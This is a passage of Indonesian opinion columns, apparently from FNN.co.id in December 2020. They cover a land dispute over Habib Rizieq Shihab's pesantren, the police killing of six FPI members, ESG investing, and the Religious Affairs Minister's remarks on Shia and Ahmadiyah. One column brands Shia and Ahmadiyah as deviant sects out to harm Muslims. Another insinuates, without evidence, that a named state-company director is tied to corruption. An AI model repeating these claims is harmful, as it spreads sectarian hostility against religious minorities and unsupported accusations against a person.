Sukagalih; 28. Ibu Suryani 5 ha Desa Sukagalih; 29. Ibu Wong 3 ha Desa Sukagalih; 30. Bapak Waluyo 3 ha Desa Sukagalih. Dan banyak lagi yang tidak ditulis satu per satu. Pertanyaannya, mengapa Dirut PTPN VIII Mohammad Yudayat hanya menyoal lahan sekitar 30 ha yang dipakai Ponpes Markaz Syariah pimpinan Habib Rizieq Shihab (HRS) saja, bukan termasuk yang lainnya? Padahal, semua lahan itu kedudukannya sama dengan Ponpes Markaz Syariah. Tidak lebih tidak kurang. Yayasan Kristen Romo di Arca Domas, Desa Sukaresmi telah berdiri 10 tahun sebelum Markaz Syariah datang, tapi tidak ada teguran dan gangguan somasi dari Dirut PTPN VIII. Jika memang penegakan hukum, seharusnya semuanya diminta kembali. Tapi nyatanya, “Somasi Pertama dan Terakhir” ini hanya khusus dan bersifat politis kepada Ponpes Markaz Syariah saja. Inilah yang patut dipertanyakan kepada Dirut Yudayat. Padahal HRS itu membeli lahan tersebut dari warga Megamendung. Lahan Markaz Syariah itu dibeli dengan sah, bukan menyerobot dari orang yang masih hidup dan siap bersaksi. HRS membeli dari beberapa orang pemilik sebelumnya. Antara lain yaitu: 1. Jenderal Polisi Dadang Garnida (eks Kapolda Jawa Barat); 2. Jenderal Beni Angkatan Darat; 3. Serka Karman Suherman; 4. I Komang Agus Trijaya; 5. Herwantoni Salim (Jakarta); dan lain-lain. Kemudian, lahan tersebut ditanda-tangani Ketua RT, RW, Kepala Desa, dan disertai dengan Rekomendasi dari Camat, Bupati, dan Gubernur. Malahan waktu itu Mentri BUMN Dahlan Iskan mengarahkan untuk memohon pelepasan seluas 100 ha. Jadi sangatlah ironis, pesantren yang bernapaskan Islam didukung oleh RT sampai Menteri, hari-hari ini tiba-tiba akan “digusur” dan mau menghilangkan keberadaan Markaz Syariah. Padahal, seharusnya Markaz Syariah, yayasan anak bangsa yang akan mencerdaskan umat, seharusnya Pemerintah mendukung kegiatan pendidikan ini dan itu merupakan sebagian dari tanggung jawab Pemerintah. Markaz Syariah itu merupakan anak bangsa yang akan mencerdaskan anak negeri, semestinya Pemerintah memberikan tanah yang dimaksud, dan memberikan dana pembangunannya. Tapi ini yang tidak dilakukan. Upaya PTPN VIII ini justru kontra produktif. Pusaran Korupsi Pertanyaannya, mengapa Dirut PTPN VIII Mohammad Yudayat mau “menggusur” Markaz Syariah? Apakah karena ada tekanan dari pihak berwenang lainnya, sehingga dia menuruti apa kemauan “pihak ketiga” tersebut? Boleh jadi, dan bukan tidak mungkin! Coba saja simak jejak digital Mohammad Yudayat! Sebelum menjabat Dirut PTPN VIII, Yudayat tercatat sebagai Direktur Keuangan PTPN III. Ia ikut dalam gelombang perombakan Direksi PTPN III. Seperti dilansir CNN Indonesia, Selasa (29/10/2019 14:34 WIB), perubahan manajemen ini tertuang dalam SK Menteri BUMN No. SK-230/MBU/10/2019, 17 Oktober 2019, tentang Pemberhentian dan Pengangkatan Anggota Dewan Komisaris Perusahaan; Dan, SK-231/MBU/10/2019 pada 17 Oktober 2019 tentang Perubahan Nomenklatur Jabatan, Pengalihan Tugas, dan Pengangkatan Anggota Direksi PT Perkebunan Nusantara III. Sebelumnya, Direktur Utama PTPN III Dolly Pulungan dan Direktur Pemasaran PTPN III I Kadek Kertha Laksana ditetapkan sebagai tersangka dalam kasus dugaan suap distribusi gula. KPK menduga Dolly meminta uang 345 ribu dolar Singapura pada Senin (2/9/2019) untuk keperluan pribadi kepada PT Fajar Mulia Transindo selaku distributor yang 'dimenangkan' perseroan dalam lelang distribusi gula. Sementara itu, I Kadek Kertha Laksana telah ditahan KPK. Kadek terjaring dalam Operasi Tangkap Tangan (OTT) yang dilakukan pada Selasa (3/9/2019). Berikut susunan direksi Perkebunan Nusantara III: Plt Direktur Utama: M. Abdul Ghoni; Wakil Direktur Utama: M. Abdul Ghoni; Direktur SDM & Umum: Seger Budiarjo; Direktur Keuangan: Mohammad Yudayat; Direktur Pemasaran: Dwi Sutoro; Direktur Pelaksana: Ahmad Haslan Saragih; Direktur Operasi dan Pengembangan: Mahmudi. Melansir Alinea.id yang mengutip dari Antara, Senin (17 Feb 2020 11:16 WIB), Mohammad Yudayat yang menjabat Direktur Keuangan PTPN III disebut kembali ketika ada perubahan jajaran direksi PTPN III Holding (Persero). Kali ini diberhentikan dengan hormat. Penunjukan jajaran direksi baru tersebut berdasarkan SK Nomor 48/MBU/02/2020 tentang pemberhentian, perubahan nomenklatur, dan pengangkatan jajaran direksi. Dalam SK tersebut, Mohammad Abdul Gani diangkat sebagai Direktur Utama, Denaldy Mulino Mauna sebagai Wakil Direktur Utama, Seger Budiarjo sebagai Direktur Umum. Selanjutnya, M. Iswahyudi sebagai Direktur Keuangan, dan Wing Antariksa sebagai Direktur SDM. Selain itu, Menteri BUMN Erick Thohir memberhentikan dengan hormat Mohammad Yudayat sebagai Direktur Keuangan. Sebelumya, Mohammad Abdul Ghani menjabat Plt. Dirut PTPN III Holding dan Denaldy Mulino Mauna sebagai Dirut Perum Perhutani. M. Iswahyudi sebelumnya sebagai bankir di Bank Mandiri dan Wing Antariksa pernah menjabat Direktur SDM PT ASDP (Persero). Sekretaris Perusahaan PTPN III Holding Irwan Perangin-Angin sempat mengapresiasi dan mengucapkan terima kasih kepada Mohamad Yudayat yang berkesempatan mengabdi di PTPN III Holding dan telah banyak memberi manfaat bagi perseroan. Meski sempat menjabat sebagai Direktur Keuangan PTPN III Holding, Mohammad Yudayat masih belum bisa membantu PTPN III yang terancam gagal membayar utang Rp 25,1 triliun. Dengan rincian, sebesar Rp16,1 triliun di level unsustain alias sulit dibayar perusahan. Seperti dilansir Gatra.com, Rabu (20 Nov 2019 20:10), sisanya Rp 9 triliun, di level moderat atau berpotensi gagal bayar pinjaman pokok. Sementara, per 31 Desember 2018, utang PTPN Holding kepada pihak perbankan telah mencapai Rp37,8 triliun. Hal ini terungkap dalam salinan surat PTPN III, sebagai induk PTPN, kepada Jaksa Agung Muda Bidang Perdata dan Tata Usaha Negara (Jamdatun), Kejaksaan Agung, pada 9 Juli 2019. Dalam surat yang ditandatangani Direktur SDM Umum Seger Budiarjo tersebut, PTPN III meminta pendapat hukum mengenai aksi korporasi yang akan dilakukan. Untuk menyelesaikan utang PTPN Holding, PTPN III berencana menjual aset BUMN (asset settllement) dengan mekanisme novasi kredit dan jual putus. Novasi kredit yang dimaksud PTPN III, yaitu mengalihkan sebagian utang PTPN dari perbankan kepada pihak lain. Sedangkan mekanisme jual putus, yaitu penjualan aset milik PTPN Holding untuk menyelesaikan kewajiban kepada pihak lain. Maklum, jika salah-salah ambil langkah, pemulihan utang dengan dua mekanisme di atas bisa diperkarakan. Maka itu, Seger Budiarjo dalam suratnya tersebut meminta penjelasan kepada Kejagung, mengenai aksi korporasi penjualan aset BUMN tadi. “Bagaimana prosedur aksi korporasi di atas sesuai ketentuan perundangan yang berlaku?” begitu tertulis di surat PTPN III ke Kejagung. Direktur Keuangan PTPN III Mohammad Yudayat optimis bahwa PTPN III Holding mampu membayar semua utang-utang korporasi. “Sejauh ini kita masih bisa serve kewajiban utang PTPN III Holding,” ujarnya kepada Gatra.com. Ia mengatakan, penjualan aset BUMN bukan satu-satunya opsi yang akan dijalankan PTPN Holding, untuk membayar utang. “Kita punya banyak opsi untuk melunasi kewajiban,” kata Mohammad Yudayat. Anggota BPK Achsanul Qosasi mengungkapkan, pihaknya telah mengaudit keuangan PTPN Holding. Hasilnya, PTPN Holding memiliki utang sebesar Rp 39 triliun per 31 Maret 2019. “Itu menjadi gabungan seluruh PTPN. Menjadi beban Holding, tidak bisa dipisah-pisahkan,” katanya kepada Gatra.com, (20/11/2019). Achsanul Qosasi mengatakan, untuk menyelesaikan kewajiban korporasi, PTPN harus segera melakukan restrukturisasi terhadap utangnya. “Agar cash flow tidak terganggu,” katanya. Mungkinkah Dirut PTPN VIII Mohammad Yudayat khawatir jika namanya dikaitkan dalam “pusaran korupsi” di PTPN III? Penulis wartawan senior FNN.co.id

Di Mana Hati Nurani dan Pancasilamu?

by Naniek S. Deyang Jakarta FNN - Jumat (25/12). Masih ingat tulisan saya soal aset-aset tanah yang kini dalam genggaman konglomerat dengan alasan BOT (build on transfer) setelah 20-30 tahun akan dikembalikan, tapi nyatanya juga belum ada yang mengembalikan dll, yang nyatanya terus diperpanjang. Padahal letaknya strategis seperti di segitiga emas Jakarta atau di sekitar Senayan? Lalu ada juga lahan-lahan punya PTPN, Perhutani, Yayasan TNI, Departemen,dll yang juga dipakai konglomerat dengan alasan yang sama atau alasan tukar guling. Saya mau tanya itu kawasan industri dari mulai Cikarang sampai Purwakarta yang dimiliki para konglomerat tanah siapa? Lalu perumahan Sentul itu juga tadinya punya siapa? Kemudian Patal Senayan yang sekarang jadi kawasan bisnis itu juga dulu tanah siapa? SCBD juga tanah siapa dulunya? Bagaimana dengan mudahnya mereka menguasai tanah -tanah itu dengan alasan tukar guling? Siapa yang mengaudit tanah- tanah itu dan dipastikan tukarnya dalam posisi imbang? Kalau dijual apakah duitnya benar masuk negara, BUMN atau Yayasan? Siapa penguasa tanah -tanah negara baik dalam bentuk HGU (hak guna usaha) dan HGB (hak guna bangunan), dan nyatanya kepemilikan itu terus berulang -ulang diperpanjang, hingga seperti sudah menjadi milik sang konglomerat, bahkan satu konglomerat bisa menguasai hingga 7 juta hektar? Lalu ada seorang ulama bikin Ponpes dan Masjid, dimana Ponpesnya menggratiskan siapapun yang mondok dari mulai makan sampai biaya pendidikan , dan masjidnya menjadi gudang ilmu karena di dinding masjid itu semua dipenuhi buku-buku, bukan hanya buku agama tapi buku-buku pengetahuan umum. Di pondok itu juga ada pendidikan konservasi lahan, bercocok tanah, berkebun dan beternak untuk para santrinya. Dan satu hal, di pondok itu BENDERA MERAH PUTIH berkibar sepanjang hari dan sepanjang tahun. Lalu sekarang lokasi tanah yang hanya berapa hektar untuk Ponpes dan Masjid itu akan diminta PTPN dengan alasan milik PTPN. Padahal sebelum dipakai sang Imam, tanah itu sudah 30 tahun digarap para petani dan Sang Imam tidak gratis dalam memperoleh tanah tersebut, tapi membeli dari petani penggarap lahan. Saya tidak dalam rangka membela Ponpes atau sang Imam Besar, saya hanya bertanya di mana letak keadilan itu bila konglomerat boleh menggunakan tanah negara seenaknya, bahkan gak dibalik-balikin, tapi ini ada manusia kebetulan namanya Imam Besar itu dan digunakan untuk pendidikan para santri kok sekarang diminta paksa tanahnya? Apalagi tanah itu diperoleh tidak gratis! Sekali lagi sebagai rakyat saya hanya bertanya, karena melihat yang demikian tidak adil dan manusiawi. Oh ya di pondok itu anak-anak santri nggak cuman belajar agama, tapi belajar pendidikan umum seperti Matematika, Fisika dll dan itu porsinya 60 persen. Demi Allah saya bersaksi karena saya termasuk yang berkali - kali melihat pendidikan di sana, di pondok itu tidak diajarin anak-anak menjadi teroris, tapi menjadi insan yang mencintai agama, bangsa dan negara Indonesia.😭 Guru-guru yang rumahnya jauh dibuatkan rumah-rumah sederhana di pondokan tersebut. Rumah sang Imam sendiri hanya sebuah bangunan ecek-ecek seluas 8x10 meter. Jauh dari gambaran keren apalagi mewah. Namun santri-santri yang makan gratis itu setiap hari tidak pernah hanya makan berlauk tempe, dan sayur saja, tetapi berlauk penuh gizi dan dikontrol langsung sang Imam, saat dulu beliau belum dibuat pergi ke Mekkah. Uang hasil ceramah bila dikasih pengundang semua diberikan Sang Imam untuk memenuhi gizi atau memberi makan para santrinya. Apakah manusia seperti ini memang layak terus dimusuhi ya? Penulis wartawan senior FNN.co.id

Membangun Kesadaran “Indonesian Lives Matter & ESG Investing”

by Farouk Abdullah Alwyni New York City – Jum’at (25/12). Baru-baru ini masyarakat dikejutkan oleh tewasnya 6 anggota laskar Front Pembela Islam (FPI) ditangan aparat kepolisian. Pihak kepolisian tentunya mempunyai dalih tersendiri bahwa ada perlawanan dari laskar FPI yang membuat polisi perlu membela diri. Akhirnya dalam kerangka penegakan hukum, perlu membunuh laskar tersebut. Tentunya versi polisi ini dipertanyakan oleh divisi hukum FPI yang membantah keterangan polisi. FPI menyatakan bahwa mereka adalah korban penyiksaan dan pembunuhan polisi secara sewenang-wenang. Karena laskar FPI adalah relawan yang tidak bersenjata. Indonesia Police Watch (IPW) juga menganggap ada kejanggalaan dalam penembakan 4 laskar FPI (14/12). Menurut IPW Polri harus mau menyadari bahwa terjadi pelanggaran dalam kasus kematian anggota FPI. Pelanggaran tersebut, menurut IPW lagi, membuat personnel kepolisian melanggar Hak Asasi Manusia (HAM). Lepas dari pro-kon yang ada, faktanya jelas, ada 6 Warga Negara Indonesia (WNI) yang tewas ditangan aparat kepolisian. Bahkan dinyatakan oleh para saksi yang memandikan jenazah bahwa di badan mereka para korban, banyak bekas-bekas penyiksaan. Pembuhunan 6 warga yang dianggap bukan kriminal, bukan koruptor, dan bukan teroris oleh aparat kepolisian yang berpakaian preman (dan dikejar dengan bukan menggunakan mobil resmi kepolisian) tentunya layak untuk dikritisi lebih jauh. Permintaan untuk dibentuknya tim pencari fakta independen telah didengungkan oleh segenap komponen masyarakat, mulai dari beberapa anggota DPR dan banyak organisasi masyarakat lainnya. Komisi Nasional Hak Asasi Manusia (KOMNAS HAM) juga telah mulai melakukan kerjanya untuk menginvestigasi persoalan tersebut. Bahkan telah memanggil Kapolda Metro Jaya pada hari Senin, 14 Desember 2020. Kita semua mengharapkan KOMNAS HAM dapat menjalankan pekerjaannya secara professional dan penuh integritas. Karena kekerasan yang ditimbulkan dalam bentuk yang berbeda juga pernah dilakukan oknum aparat kepolisian pada tanggal 21-23 Mei 2019, menyusul demo di depan Kantor Pusat Bawaslu, dimana pihak kepolisian dianggap telah melakukan excessive force. Amnesti Internasional Indonesia pada waktu itu membuat pernyataan bahwa Korps Brigade Mobil (Brimob) Polri telah melakukan pelanggaran Hak Asasi Manusia (HAM) serius terhadap warga tak berdaya saat melakukan penyisiran di Kampung Bali, Tanah Abang, Jakarta, usai kerusuhan 22 Mei. Sejauh ini kita tidak pernah mendengar sejauh mana para oknum polisi yang melakukan excessive force tersebut telah diadili dan diberikan hukuman yang setimpal. Dalam konteks diatas, kita bisa kembali melihat ke belakang terkait yang terjadi di Amerika Serikat beberapa waktu yang lalu. Ketika warga kulit hitam yang bernama George Floyd terbunuh oleh aparat kepolisian di Minneapolis. Kematian ini sontak memicu demonstrasi besar-besaran di berbagai kota di Amerika Serikat dalam waktu yang cukup lama dengan menampilkan slogan Black Lives Matter (BLM). Gerakan BLM ini bahkan menyebar ke banyak negara-negara lainnya di Eropa, Australia, bahkan Korea Selatan dan Jepang. Gerakan ini merupakan gerakan universal kemanusiaan melawan kesewenang-kewenangan yang ditunjukkan oleh oknum kepolisian. Pada kenyataannya banyak juga akhirnya aparat kepolisian di Amerika Serikat yang menunjukkan simpati terhadap kematian George Floyd tersebut. Aparat ke[polisian ada yang ikut membungkuk sebagai satu tanda solidaritas terhadap sang korban dalam berbagai kesempatan ketika mengawal demonstrasi masa. Lebih dari itu kematian George Floyd membangun kesadaran baru di banyak negara maju, khususnya kalangan muda untuk membedakan diri mereka dengan sebagian generasi sebelumnya terkait persoalan perbudakan dan penjajahan. Banyak patung yang merupakan simbolisasi dari perbudakan, perdagangan budak, dan penjajahan yang dirusak dan paling tidak divandalisasi oleh para demonstran. Bahkan patung Columbus pun dihilangkan kepalanya karena dianggap membawa penderitaan terhadap penduduk asli (Native Americans). Dampak dari demo-demo tersebut juga disambut oleh pihak-pihak terkait baik di dunia politik dan bisnis. Pertama, tentunya polisi yang terlibat dalam tindak kekerasan kepada warga dipecat, bahkan diproses hukum. Kedua, aturan-aturan yang lebih ketat dalam hal penindakan oleh aparat kepolisian mulai diberlakukan. Hal ini untuk mengurangi kesewenang-wenangansebagian oknum kepolisian. Terakhir, dan yang paling keras adalah gerakan untuk mengurangi anggaran kepolisian. Bahkan untuk menstop anggaran kepada aparat kepolisian mulai didengungkan (defund the police). Hal ini karena mereka melihat apa gunanya aparat kepolisian jika hanya merugikan masyarakat. Kita tentu perlu belajar dari apa yang terjadi dinegara-negara maju, khususnya di Amerika Serikat. Bahwa hilangnya nyawa manusia, khususnya masyarakat sipil adalah sebuah hal yang tidak main-main. Kepolisian dibentuk untuk melayani dan melindungi masyarakat. Bukan untuk melakukan tindakan yang sewenang-wenang terhadap warga sipil yang belum tentu bersalah. Ketika demo-demo besar terjadi di Amerika Serikat, Gubernur New York –Andrew Cuomo menyatakan bahwa “polisi harus menegakkan,bukan menyalahgunakan hukum” (Police officers must enforce –Not ABUSE- the law). Terlebih lagi jika hal-hal yang ada lebih bersifat politis. Walau bagaimanapun dalam konteks demeokrasi modern, hak politik warga perlu dijaga. Polisi harus berada dalam posisi yang netral. Tidak bisa menjadi instrument kepentingan politik tertentu di sebuah negara. Apalagi bertindak sewenang-wenang terhadap sekelompok orang yang dianggap berseberangan dengan pemerintahan yang sedang berkuasa. Dalam konteks demokrasi modern, pemerintah yang berkuasa tidak boleh melakukan penyalahgunaan kekuasaan dengan menggunakan birokrasi, kepolisian, dan militer untuk kepentingan politiknya saja. Apalagi melakukan penekanan terhadap pihak-pihak yang berseberangan. Instrumen-instrumen negara tersebut harus mengayomi seluruh warga negara. Terlepas dari afiliasi politik yang ada. Kita di Indonesia tentunya ingin melihat republik kita ini menjadi sebuah negara yang sejahtera dan maju. Tidak kalah dengan negara-negara yang maju sekarang ini. Untuk itu perlu dibangun kesadaran kemanusiaan yang lebih baik untuk seluruh aparat kepolisian yang ada. Kita perlu membangun kesadaran “Indonesian Lives Matter”, bahwa hidup orang Indonesia itu adalah sesuatu yang berarti. Kita harus membuang jauh-jauh sikap neo-feodal dan neo-kolonial dari bangsa dan negara ini. Sikap yang meremehkan warga-warga yang dianggap lemah. Yang seakan-akan tidak berarti. Sebab hanya karena dengan mentalitas sikap neo feodal dan neo kolonial yang seperti itu bangsa ini tidak akan pernah maju. Akan terus terbelakang dengan sifat primitif-nya. Lebih dari itu, ketika kita berusaha untuk menarik banyak investasi dari luar negeri, kita juga harus memahami kesadaran baru di dunia bisnis global. Investasi global yang lebih perduli terhadap HAM, lingkungan, dan tata kelola yang baik (Good Governance). Dewasa ini investasi yang mempunyai dampak kemasyarakatan atau bersifat berkelanjutan (impact and/or sustainable investing) produknya mempunyai peranan yang penting di pasar global . Berdasarkan laporan dari McKinsey (2019), sustainable investing di pasar global mengalami peningkatan yang luar biasa pesatnya. Sekarang sudah mencapai U$ 30 triliun dollar. Mengalami peningkatan sebanyak 10 kali lipat dibandingkan dengan tahun 2004 lalu. Amerika Serikat saja, pada awal 2018, sustainable investing diperkirakan naik 26% dari total asset senilai U$ 13 triliun dollar. Dana-dana tersebut harus dikelola secara professional adalah menggunakan pendekatan sustainable, responsible, and impact investing. Pendekatan-pendekatan investasi yang seperti ini telah menjadi mainstream dalam indek-indeks saham internasional seperti Morgan Stanley Composite Index, Dow, dan Financial Times Stock Exchange (FTSE). Indek kelompok ini dikenal juga dengan pendekatan Economic, Social, and Governance (ESG) Investing. Berbagai dana-dana pensiun besar dalam skala global seperti misalnya Australian Super, Canada Pension Plan Investment Board, Stichting Pensioenfonds ABP (Belanda), Norway Government Pension Fund Global (Norwegia), Alecta (Swedia) dan masih banyak lagi juga menggunakan pendekatan ESG dalam melakukan keputusan-keputusan investasi di seluruh dunia. ESG Investing mempunyai prinsip bahwa melakukan bisnis adalah bukan hanya sekedar mencari keuntungan (not just making profit). Tetapi juga berbuat kebaikan (but also doing good). Pendekatan ini pada esensinya adalah pendekatan bisnis yang juga perduli dengan lingkungan, hak asasi manusia/harkat martabat kemanusiaan. Mempunyai standard tata kelola yang tinggi dalam artian tidak ingin membawa kemudharatan kepada masyarakat dan segenap pihak terkait. Poin penting di sini adalah perduli terhadap penegakan HAM (selain lingkungan) dewasa ini bukan hanya urusan politik. Tetapi juga mulai masuk ke urusan bisnis. Dampaknya adalah, jika kita sebagai sebuah negara tidak kunjung perduli terhadap HAM dan harkat martabat kemanusiaan, maka bangsa kita sendiri pada akhirnya akan mengalami apa yang disebut dengan “market discipline”, yakni disiplin pasar. Pada akhirnya kita pun akan dianggap sebagai negara yang tidak baik untuk melakukan bisnis. Stigma ini akan berdampak terhadap arus investasi yang masuk ke Indonesia. Jangan sampai bisnis dan investasi yang masuk ke Indonesia adalah bisnis dan investasi kotor. Yang tidak perduli terhadap harkat dan martabat bangsa ini (dan juga lingkungan). Hanya ingin memaksimalisasi keuntungan saja. Tanpa mau melihat dampak-dampak negatif yang akan dihasilkan. Pilihan ada ditangan kita semua, khususnya elite politik. Apakah kita ingin menjadi negara yang menghargai bangsanya dengan perduli terhadap nilai keadilan dan kemanusiaan? Yang justru akhirnya akan baik dalam perspektif bisnis internasional dan Insya Allah dapat berkontribusi dalam menghasilkan kesejahteraan dan kemajuan bangsa? Sehingga lebih dihargai dalam percaturan internasional, atau tetap menjadi negara dunia ketiga yang terbelakang, dengan pola fikir sempit? Pola pikir yang sempit hanya akan menjadi objek kepentingan bisnis-bisnis kotor dari luar negeri semata. Kita semua tentu tidak akan menginginkan yang kedua ini. Oleh karena itu membangun kesadaran “Indonesian Lives Matter” dan pemahaman “ESG Investing” adalah sebuah hal penting bagi kita semua anak bangsa. Untuk membangun Indonesia yang lebih adil, beretika, sejahtera, dan maju. Amin,,, Penulis adalah Chairman Center for Islamic Studies in Finance, Economics, and Development (CISFED)

Menag Yaqut Bikin Blunder, Perlu Dikoreksi

by Ubedillah Badrun Jakarta FNN – Jum’at (25/12). Secara sosiologis politik, pernyataan Menteri Agama (Menag) Yaqut Cholil Qoumas saya kira perlu dikoreksi. Bila tidak, bisa menimbulkan kekeliruan tafsir, bahkan salah paham di masyarakat. Ada dua narasi pernyataan Menag Yaqut yang perlu dikoreksi. Pertama, pernyataan Menag Yaqut bahwa agama sebagai inspirasi, bukan aspirasi. Bahwa agama sebagai inspirasi, itu benar. Sebab agama telah memberi inspirasi kepada banyak umat manusia di muka bumi ini untuk berubah dalam membangun peradabanya. Peradaban yang semula jahiliyah (tidak beragama) berubah kepada peradaban Ilyahiyah (bersumber dari wahyu). Namun ketika Menag Yaqut mengatakan bahwa agama jangan dijadikan sebagai aspirasi, maka itu muncul masalah baru. Sebab Menag Yaqut telah mengabaikan fakta sosiologis politik bahwa Indonesia pada titik tertentu, demi kemaslahatan umat dan bangsa Indonesia, baik kini maupun di masa depan, agama perlu menjadi sandaran penting bagi pengusaha untuk membuat keputusan. Nilai-nilai agama justru penting disampaikan sebagai aspirasi untuk para penguasa dalam mengambil keputusan terbaik demi kemajuan masyarakat. Itulah sebabnya bermunculan partai-partai politik nasional yang berbasis pada masyarakat Islam seperti Pertai Kebangkitan Bangsa (PKB), dengan basis Nahadatul Ulama dan Partai Amanat Nasional (PAN), dengan basis Muhammadiyah. Tidak cukup sampai di situ saja. Ada juga partai-partai politik yang berbasis pada masa, dan sekaligus pemikiran pemikiran-pemikiran substantif Islam, seperti Partai Keadilan Sejahtera (PKS), Partai Persatuan Pembangunan (PPP) dan Partai Bulan Bintang (PBB). Kedua aliran pertai politik yang berbasis pada masa Islam ini, sama-sama dalam bingkai ke-Indonesiaan. Keputusan Presiden Jokowi untuk memilih dan mengangkat Gus Yaqut Cholil Qoumas menjadi Menteri Agama, itu menjadi bukti bahwa agama sebagai aspirasi. Mengapa bukan pendeta Jacob Nahuway atau Romo Magnis Susena yang dipercaya menjadi Menteri Agama? Atau mengapa Menteri Agama bukan dari Muhammadiyah, tetapi dari Nahdatul Ulama? Karena ini soal representasi agama. Dengan demikian, itu juga soal agama sebagai aspirasi. Kedua, pernyataan bahwa Menag Yaqut akan melindungi minoritas Syiah dan Ahmadiyah. Jika maksud untuk melindungi itu dimaknai sebagai perlindungan atas hak-hak asasi sebagai warga negara, maka itu sudah menjadi kewajiban negara. Kontitusi UUD 1945 mewajibkan negara untuk melindungi segenap bangsa dan seluruh tumpah darah Indonesia. Dengan demikian, negara wajib untuk melindungi siapapun warga negara Indonesia. Tanpa ada pengcualian. Tetapi jika yang dimaksud Menag Yaqut adalah membatalkan fatwa Majelis Ulama Indonesia (MUI) tentang aliran sesat yang dianut oleh Syiah dan Ahmadiyah, maka pernyataan Menag Yaqut adalah keliru. Bahkan bisa dibilang sangat keliru. Sebab itu berarti Menaq Yaqut sepertinya mulai menabuh genderang perang dengan Majelis Ulama Indonesia. Menag Yaqut nampak sepertinya tidak bisa membedakan, bahkan tidak dapat melihat posisi individu sebagai warga negara dengan segala hak-hak politiknya yang harus dilindungi di satu sisi, dan posisi otoritas ulama dalam memutuskan perkara Islam dan aliran yang tidak sesuai dengan prinsip-prinsip pokok dalam Islam di sisi lain. Menag Yaqut tampak kabur dan buram membedakan dua masalah ini, yaitu hak warga negara dan posisi MUI sebagai lembaga resmi negara yang menafsir aliran sesat dalam Islam. Pernyataan Menag Yaqut ini berpotensi menimbulkan kegaduhan baru. Nampak terlalu cepat Menag Yakut membuat konfrontasi. Ini akan menimbulkan persoalan baru dalam hubungan umat Islam dengan pemerintah. Semestinya hari-hari awal awal bertugas sebagai Menag ini, Gus Yaqut menampilkan keteduhan dan kesejukan dalam kepemimpinan dulu. Misalnya, merangkul semua golongan dalam masyarakat. Baik itu yang mayoritas, maupun yang minoritas. Bukan malah menabuh genderang konfrontasi. Ada baiknya Gus Yakut erlu belajar banyak dari kegagalan Menag sebelumnya Fakhrul Rozi. Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta.

Menag Yaqut Qoumas Buat Susah Orang Syiah dan Ahmadiyah

by Asyari Usman Medan FNN - Jumat (25/12). Bisa dipahami tujuan Menteri Agama Yaqut Cholil Qoumas ketika dia mengeluarkan pernyataan bahwa pemerintah akan melakukan afirmasi (pembelaan) untuk orang Syiah dan Ahmadiyah di Indonesia. Tujuannya ialah untuk menyenangkan mereka. Agar mereka bisa leluasa mendakwahkan ajaran sesat, dan agar mereka terlindungi dalam memperkuat kegiatan untuk mencelakan umat. Itu tujuan Yaqut. Mungkin tujuan ini dianggap “mulia” oleh Pak Menteri. Tetapi, Pak Yaqut lupa bahwa pernyataan terbuka seperti itu malah akan membuat orang Syiah dan Ahmadiyah menjadi susah. Mengapa menyusahkan? Karena dengan pernyataan tentang afirmasi itu, Pak Yaqut membangunkan umat Islam. Umat tersentak melihat bahaya penyesatan aqidah yang bakal dilakukan orang Syiah dan Ahmadiyah. Umat Islam akan teringat lagi dengan ancaman kesesatan Syiah dan Ahmadiyah. Pastilah umat yang sudah sarat dengan berbagai tekanan dan ancaman itu akan melakukan upaya untuk menghadapi keleluasaan baru yang diberikan oleh Pak Menteri kepada Syiah dan Ahmadiyah. Untuk itu, kaum muslimin malah akan berterima kasih kepada Pak Yaqut. Karena beliau telah mengingatkan kembali umat mengenai kegiatan ajaran sesat yang akan semakin leluasa. Lantas, apakah Pak Yaqut tidak tahu bahwa Majelis Ulama Indonesia (MUI) plus NU, Muhammadiyah, dan ormas-ormas Islam lainnya sudah menegaskan bahwa kedua sekte itu sesat? Rasanya tidak mungkin. Beliau harusnya tahu. Kalau tidak tahu, tak mungkin soal Syiah dan Ahmadiyah menjadi prioritas kerjanya. Nah, bagaimana kira-kira reaksi kaum muslimin yang bakal “dipaksa” memberikan ruang yang seluas-luasnya untuk mendakwahkan ajaran sesat kedua sekte itu? Tampaknya, di tengah situasi yang “pressurizing” (menekan) hari-hari ini, umat akan mencerna dulu tindakan afirmasi versi Yaqut itu. Bisa dibayangkan bahwa umat merasa Pak Yaqut melakukan ‘fait accompli’ agar kaum muslimin menerima ajaran sesat. Pak Menteri tentu ingin menunjukkan kepada boss beliau bahwa sekte Syiah dan Ahmadiyah bisa “diterima” kaum muslimin. Yaqut berjanji akan memfasilitasi dialog intensif agar kedua sekte itu “dipahami” umat. Tetapi, Pak Menag mestinya ingat bahwa kesesatan Syiah dan Ahmadiyah bukan isu perbedaan (khilafiyah) di internal ahlussunah wal jamaah. Perbedaan itu sangat fundamental. Yaitu soal rukun iman. Yang tidak akan pernah bisa diharmonisasikan di satu ruangan. Tidak mungkin bisa paralel karena persoalannya senantiasa frontal. Tetapi, kalau sekadar mempertemukan kedua pihak dalam bingkai kemanusiaan, masih mungkin dilakukan. Pak Menag bisa memprakarsai dialog yang bersisi kemanusiaan. Sebagaimana dialog umat Islam dengan umat-umat agama lainnya. Tidak ada masalah. Namun, untuk mendapatkan pengakuan dari umat bahwa Syiah dan Ahmadiyah adalah bagian dari Islam yang berpedoman pada al-Quran dan Hadith, boleh dikatakan mustahil. Sebab, kedua pihak sebenarnya sudah paham tentang perbedaan yang mendasar itu. Sudah berlangsung ratusan tahun. Jadi, lebih baik Pak Menteri tidak usah mengutak-atik isu ini agar kaum muslimin menerima kesesatan kedua ajaran tsb. Upaya beliau malah akan merepotkan semua pihak. Penulis adalah Wartawan Senior FNN.co.id

Ponpes Megamendung Mau “Digusur”, Ada Bau Politis di Belakangnya?

